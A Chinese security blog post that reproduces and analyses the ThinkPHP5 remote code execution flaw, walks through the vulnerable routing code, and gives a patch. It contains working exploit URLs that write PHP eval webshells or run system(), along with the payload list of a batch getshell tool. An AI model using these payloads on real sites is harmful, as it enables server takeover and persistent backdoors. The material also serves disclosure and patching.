thinkphp5 RCE漏洞重现及分析

栏目: PHP · 发布时间: 5年前

内容简介:近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞。5.x < 5.1.31

0x00 概述

近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞。

thinkphp5 RCE漏洞重现及分析

0x01 影响范围

5.x < 5.1.31

5.x <= 5.0.23

以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等

0x02 漏洞重现

win7+thinkphp5.1.24

(1)执行phpinfo

/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp5 RCE漏洞重现及分析

(2)写一句话木马

/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’

thinkphp5 RCE漏洞重现及分析

debian+thinkphp5.1.30

(1)执行phpinfo

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp5 RCE漏洞重现及分析

(2)写一句话木马

/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>

thinkphp5 RCE漏洞重现及分析

win7+thinkphp5.0.16

(1)执行phpinfo

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp5 RCE漏洞重现及分析

(2)写一句话木马

/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

thinkphp5 RCE漏洞重现及分析

0x03 修复方案

  1. 直接git/composer更新
  2. 手工修复

5.1版本

在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上

if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);}

5.0版本

在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);}

如果改完后404,尝试修改正则,加上\/

0x04 漏洞分析

Thinkphp5.1.24:

先看补丁:

thinkphp5 RCE漏洞重现及分析

对controller添加了过滤

查看路由调度:

Module.php:83

public function exec()
    {
        // 监听module_init
        $this->app['hook']->listen('module_init');
 
        try {
            // 实例化控制器
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }
......
            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
 
            return $this->autoResponse($data);
        });

$instance = $this->app->controller

实例化控制器以调用其中的方法

查看controller方法

App.php:719

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
    {
        list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
 
        if (class_exists($class)) {
            return $this->__get($class);
        } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
            return $this->__get($emptyClass);
        }
 
        throw new ClassNotFoundException('class not exists:' . $class, $class);
}

list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

parseModuleAndClass解析$name为模块和类,再实例化类

查看该方法,第640行

protected function parseModuleAndClass($name, $layer, $appendSuffix)
    {
        if (false !== strpos($name, '\\')) {
            $class  = $name;
            $module = $this->request->module();
        } else {
            if (strpos($name, '/')) {
                list($module, $name) = explode('/', $name, 2);
            } else {
                $module = $this->request->module();
            }
 
            $class = $this->parseClass($module, $layer, $name, $appendSuffix);
        }
 
        return [$module, $class];
}

可以看出如果$name包含了\,就

$class  = $name;

$module = $this->request->module();

……

return [$module, $class];

直接将$name作为类名了,而命名空间就含有\,所以可以利用命名空间来实例化任意一个类

现在看看如何控制$name,即$controller。

查看路由解析,即如何解析url的

Url.php:37

protected function parseUrl($url)
    {
        $depr = $this->rule->getConfig('pathinfo_depr');
        $bind = $this->rule->getRouter()->getBind();
 
        if (!empty($bind) && preg_match('/^[a-z]/is', $bind)) {
            $bind = str_replace('/', $depr, $bind);
            // 如果有模块/控制器绑定
            $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
        }
 
        list($path, $var) = $this->rule->parseUrlPath($url);
        if (empty($path)) {
            return [null, null, null];
        }

list($path, $var) = $this->rule->parseUrlPath($url);

调用了parseUrlPath(),继续跟进

查看Rule.php:947

public function parseUrlPath($url)
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
 
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } elseif (false !== strpos($url, '=')) {
            // 参数1=值1&参数2=值2...
            $path = [];
            parse_str($url, $var);
        } else {
            $path = [$url];
        }
 
        return [$path, $var];
}

用/分割url获取每一部分的信息,未过滤

看看如何获取url:

Request.php:716

/**
     * 获取当前请求URL的pathinfo信息(不含URL后缀)
     * @access public
     * @return string
     */
    public function path()
    {
        if (is_null($this->path)) {
            $suffix   = $this->config['url_html_suffix'];
            $pathinfo = $this->pathinfo();
 
            if (false === $suffix) {
                // 禁止伪静态访问
                $this->path = $pathinfo;
            } elseif ($suffix) {
                // 去除正常的URL后缀
                $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
            } else {
                // 允许任何后缀访问
                $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
            }
        }
 
        return $this->path;
}

注意在该文件第31行

// PATHINFO变量名 用于兼容模式

‘var_pathinfo’     => ‘s’,

所以可以用pathinfo或s来传路由

//windows会将\替换成/,建议用s

接着分析一个写 shell 的exp

http://127.0.0.1/public/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>

调用了\think\template\driver\file这个类

class File
{
    protected $cacheFile;
 
    /**
     * 写入编译缓存
     * @access public
     * @param  string $cacheFile 缓存的文件名
     * @param  string $content 缓存的内容
     * @return void|array
     */
    public function write($cacheFile, $content)
    {
        // 检测模板目录
        $dir = dirname($cacheFile);
 
        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
 
        // 生成模板缓存文件
        if (false === file_put_contents($cacheFile, $content)) {
            throw new Exception('cache write error:' . $cacheFile, 11602);
        }
}

就这样直接写入shell了

0x05 检测工具

项目地址:

使用帮助

python tp5-getshell.py -h

thinkphp5 RCE漏洞重现及分析

单url检测(poc)

使用4种poc检测

python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/

thinkphp5 RCE漏洞重现及分析

单url检测(getshell)

使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell

python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/ –exploit

thinkphp5 RCE漏洞重现及分析

单url检测(命令行shell模式)

python tp5-getshell.py -u http://www.xxx.com/ –cmdshell

thinkphp5 RCE漏洞重现及分析

批量检测(getshell)

使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell

python tp5-getshell.py -f urls.txt -t 2 -s 10

thinkphp5 RCE漏洞重现及分析

/*

工具 内置payload

poc0 = ‘/index.php/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’

poc1 = ‘/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’

poc2 = ‘/index.php/?s=index/\\think\Request/input&filter=phpinfo&data=1’

poc3 = ‘/index.php?s=/index/\\think\\request/cache&key=1|phpinfo’

本工具内置exp

exp0 = ‘/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’

exp1 = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>’

exp2 = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\’>zxc2.php’

*/

欢迎反馈!

0x06 结语

很厉害的一个洞

0x07 参考资料

https://xz.aliyun.com/t/3570

https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ

https://blog.thinkphp.cn/869075

https://iaq.pw/archives/106

https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

概率论基础教程

概率论基础教程

罗斯 / 赵选民 / 机械工业出版社 / 2006-4 / 42.00元

本书是一本概率论的入门教材,系统介绍了概率论的基础理论及应用,在取材、结构和写作方法等方面具有鲜明的特点。通过例题阐述概率论的基本概念与方法是本书的一大特色。作者独具匠心地选择和编排了大量例题与习题,这些内容约占全书的三分之二。通过这些例题和习题,读者可以了解概率论在各个领域的广泛应用,如基因、彩票、法庭判决、NBA选秀等。   本书系统介绍了概率论的基础理论及应用,主要内容包括组合......一起来看看 《概率论基础教程》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器